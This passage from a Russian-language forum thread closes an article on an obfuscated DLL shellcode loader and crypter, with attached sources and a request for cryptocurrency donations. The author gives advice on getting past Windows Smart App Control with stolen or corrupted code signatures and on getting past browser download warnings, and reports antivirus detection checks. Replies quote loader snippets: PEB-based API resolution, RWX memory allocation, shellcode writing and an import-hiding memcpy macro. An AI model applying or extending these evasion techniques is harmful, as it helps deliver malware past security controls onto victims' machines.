В целом статью разжевал как мог, скомпиленные исходники прикреплю рядом ниже, там в архиве будет бублик, encrypter, сами исходники и G2M.exe + скомпиленная дллка как пример / дллка без обфускции noobf.dll. Минус данного метода заключается в новой появившейся в Windows 11 Smart App Control которая впрочем легко обходиться взятием подписи SignThief с ехе где она ревокнута, или затеранием части подписи чтобы было написано Revoked. Для байпасса хром алерта достаточно будет запампить файлы dll и добавить мусора в архив, скантайм детект -> https://avcheck.net/id/9Eq0MqQf3yqi , скорее всего из-за того что я засрал компилер в хламину и хеллоу ворллд у меня с 20 детектами на вт у меня). Возможно на винде коды придётся интрпретировать по другому потому, что там иногда не все функции имеются в библиотеках. Возможно в статье допустил грамматические ошибки или же вставил код до его фикса / или до окончания дописания, такие моменты выделяйте, исправлю. Очень устал от написания данной статьи, итак был измотан, но всё же думаю стоило попробовать. Не успел показать как быстро чистить код + использовать Llvm обфускатор, если память не изменяет видел на форуме как его юзают с MinGW. Так же думаю добавил бы в будущем обходы виртуализации и песочниц.

Пароль к архиву md5 местный пароль -> sha1 архив 7z формата.
По символам я скорее всего не прошёл на оплату статей, но всё же решил сделать, кто хочет может отправить копеечку,
BTC: bc1q0j03p529x89347dulxc76nxqfuhjjehp6pfruy
ETH / MATIC / BNB и ему подобные: 0xE48Ca4860Fb3a76F318872744BA32F7682Af5b4a
LTC: ltc1qm29d5ukx49rdw035d9arw3l36nyytw0esnhvl8
USDT / TRX:
THTZJ1sV29TiTja9Gxq9rbnDoSuidgp2x6

Вложения​

  • 1719660783679.png
    1719660783679.png
    70 КБ · Просмотры: 58
  • 1719669462395.png
    1719669462395.png
    26.1 КБ · Просмотры: 53
  • 1719669934440.png
    1719669934440.png
    37.3 КБ · Просмотры: 49

  • Sources.zip
    418 КБ · Просмотры: 24
 
Немного придерусь.
MoilerRenoiler сказал(а):
kernel32Address = dllEntry->DllBase;
Нажмите, чтобы раскрыть...
MoilerRenoiler сказал(а):
pGetModuleHandleA = (PGetModuleHandleA)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals]);
Нажмите, чтобы раскрыть...
MoilerRenoiler сказал(а):
HMODULE hKernel32 = pGetModuleHandleA("kernel32.dll");
Нажмите, чтобы раскрыть...

Зачем искать GetModuleHandle в экспортах и затем вызывать ее чтобы заново достать адрес kernel32.dll, который ты уже получил из PEB?

MoilerRenoiler сказал(а):
void* Process = funcGetCurrentProcess();
PVOID allocatedMem = funcVirtualAllocEx(Process,0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Нажмите, чтобы раскрыть...

А это зачем. Очевидно что GetCurrentProcess() возвратит -1, достаточно было вызвать VirtualAlloc даже без указания хэндла процесса, даже если юзать Ex - зачем искать функцию (GetCurrentProcess) которая заведомо возвратит псевдохендл

MoilerRenoiler сказал(а):
funcWriteProcessMemory(Process, allocatedMem, (LPCVOID)&buf, sizeof(buf), &bytes);
Нажмите, чтобы раскрыть...

А это вообще зачем? Зачем вызывать стороннюю функцию из либы когда можно просто скопировать байты, ты же в свой процесс пишешь

Но обфускация огонь, окэй
 
MoilerRenoiler сказал(а):
Так же для скрытия использования memcpy из других библиотек будем испольховать макрос:
C++: Скопировать в буфер обмена
Code:
# define memcpy(D,S,N) {char*xxd=(char*)(D);const char*xxs=(const char*)(S);\
int xxn=(N);while(xxn-->0)*(xxd++)=*(xxs++);}
Нажмите, чтобы раскрыть...
Сложна. Но если мсвц компилишь не проще ли юзать

C: Скопировать в буфер обмена
#define mem_copy(dest,source,size) __movsb((PBYTE)dest,(PBYTE)source,size)

Да из под MinGW/Clang интринсики тоже вроде доступны

(боимся юзать memcpy зато str*** юзаем смело :p)
 
Kernel32dll сказал(а):
Немного придерусь.




Зачем искать GetModuleHandle в экспортах и затем вызывать ее чтобы заново достать адрес kernel32.dll, который ты уже получил из PEB?



А это зачем. Очевидно что GetCurrentProcess() возвратит -1, достаточно было вызвать VirtualAlloc даже без указания хэндла процесса, даже если юзать Ex - зачем искать функцию (GetCurrentProcess) которая заведомо возвратит псевдохендл



А это вообще зачем? Зачем вызывать стороннюю функцию из либы когда можно просто скопировать байты, ты же в свой процесс пишешь

Но обфускация огонь, окэй
Нажмите, чтобы раскрыть...
Дело в том что нихера не работало из под дллки когда писал в свой же процесс было WerFault. В ехе я мог просто из под виртуалалока вызаться а тут этот геморрой пришлось делать. Если хочешь сам попробуй стандартной загрузкой шелкода. Про модульхендл я не углядел спать уже хотел.
 
Kernel32dll сказал(а):
Сложна. Но если мсвц компилишь не проще ли юзать

C: Скопировать в буфер обмена
#define mem_copy(dest,source,size) __movsb((PBYTE)dest,(PBYTE)source,size)

Да из под MinGW/Clang интринсики тоже вроде доступны

(боимся юзать memcpy зато str*** юзаем смело :p)
Нажмите, чтобы раскрыть...
У меня мсвцрт + мингв + частями сам шлинуксовский гну поэтому так удобнее было.
Ну на шлинуксе у меня стринги с шланга который на нем и компилирует нормально + в стрингах если в диассемблере посмотришь нету почти копирований строк, там это встроено.
 
Top